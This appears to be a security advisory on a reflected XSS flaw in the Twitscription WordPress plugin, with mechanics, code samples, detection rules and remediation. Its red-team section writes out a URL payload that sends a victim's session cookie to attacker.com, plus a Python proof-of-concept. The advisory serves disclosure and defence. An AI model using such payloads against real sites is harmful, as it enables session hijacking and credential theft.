CVE-2025-13623

Executive Summary

CVE-2025-13623 is a reflected Cross-Site Scripting (XSS) vulnerability in the Twitscription WordPress plugin, affecting all versions up to and including 0.1.1. The flaw resides in the admin.php file's handling of PATH_INFO, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress admin context. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx misconfigurations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No OSV or GitHub advisory data is available, and no patch has been released. Users should treat this as a supply chain risk, as the plugin may be abandoned or unmaintained.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the lack of a patch increases long-term risk.

Deep Dive & Mechanics

The vulnerability exists in the admin.php file of the Twitscription plugin. The plugin improperly uses $_SERVER['PATH_INFO'] (or similar server variable) without sanitization or escaping. When a user accesses a URL like:

https://example.com/wp-admin/admin.php/twitscription?page=twitscription-settings

The PATH_INFO component (/twitscription) is reflected in the response without proper encoding. An attacker can inject malicious JavaScript by crafting a URL such as:

https://example.com/wp-admin/admin.php/<script>alert('XSS')</script>?page=twitscription-settings

When the victim clicks this link, the script executes in the context of the WordPress admin dashboard, potentially allowing the attacker to perform actions as the victim.

Vulnerable vs. Patched Code

Vulnerable Code (twitscription/admin.php):

<?php
// No sanitization of PATH_INFO
$path_info = $_SERVER['PATH_INFO'];
echo "<div class='wrap'>Current path: " . $path_info . "</div>";
?>

Patched Code (Hypothetical):

<?php
// Sanitize and escape PATH_INFO
$path_info = isset($_SERVER['PATH_INFO']) ? sanitize_text_field(wp_unslash($_SERVER['PATH_INFO'])) : '';
echo "<div class='wrap'>Current path: " . esc_html($path_info) . "</div>";
?>

The patch uses WordPress's sanitize_text_field() and esc_html() functions to neutralize malicious input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with Twitscription plugin version 0.1.1 installed.
• A victim user with admin privileges.

Exploit Steps:

1. Craft a malicious URL:

   http://target-site.com/wp-admin/admin.php/<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>?page=twitscription-settings
   

2. Send the link to the victim via email or social engineering.
3. When the victim clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin.php"
payload = "/<script>alert('XSS')</script>?page=twitscription-settings"
url = target + payload

response = requests.get(url)
if "<script>alert('XSS')</script>" in response.text:
    print("[+] XSS confirmed")
else:
    print("[-] XSS not detected")

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual PATH_INFO values containing <script> tags or encoded JavaScript.
• Use WAF rules to block requests with suspicious PATH_INFO patterns.

Mitigation:

• Disable the Twitscription plugin until a patch is available.
• Implement a virtual patch using a WAF (e.g., ModSecurity) to filter XSS payloads in PATH_INFO.

Indicators of Compromise (IOCs)

• URL Pattern: */wp-admin/admin.php/*<script>* or */wp-admin/admin.php/*<img%20src=x%20onerror=*
• Log Entry: GET /wp-admin/admin.php/<script>...</script>?page=twitscription-settings
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress admin dashboard.
• File Changes: Unexpected modifications to WordPress admin pages or plugin files.

Detection Engineering

YARA Rule

rule CVE_2025_13623_Twitscription_XSS {
    meta:
        description = "Detects reflected XSS attempts against Twitscription plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13623"
    strings:
        $xss_pattern = /\/wp-admin\/admin\.php\/.*<script/i
        $xss_pattern2 = /\/wp-admin\/admin\.php\/.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via Twitscription Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a9e7c
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-13623
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/wp-admin/admin.php/<script'
            - '/wp-admin/admin.php/<img'
            - '/wp-admin/admin.php/<svg'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13623 Twitscription Reflected XSS"; flow:to_server,established; content:"/wp-admin/admin.php/"; http_uri; pcre:"/\/wp-admin\/admin\.php\/.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Twitscription plugin until a patch is released.
2. Virtual Patching: Deploy WAF rules to block XSS payloads in PATH_INFO.
3. User Education: Train users to avoid clicking suspicious links, especially those containing admin.php with unusual paths.
4. Monitoring: Enable logging for all admin.php requests and alert on anomalous PATH_INFO values.
5. Long-term: Monitor the plugin repository for updates. If no patch is released, consider replacing the plugin with an alternative.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-13623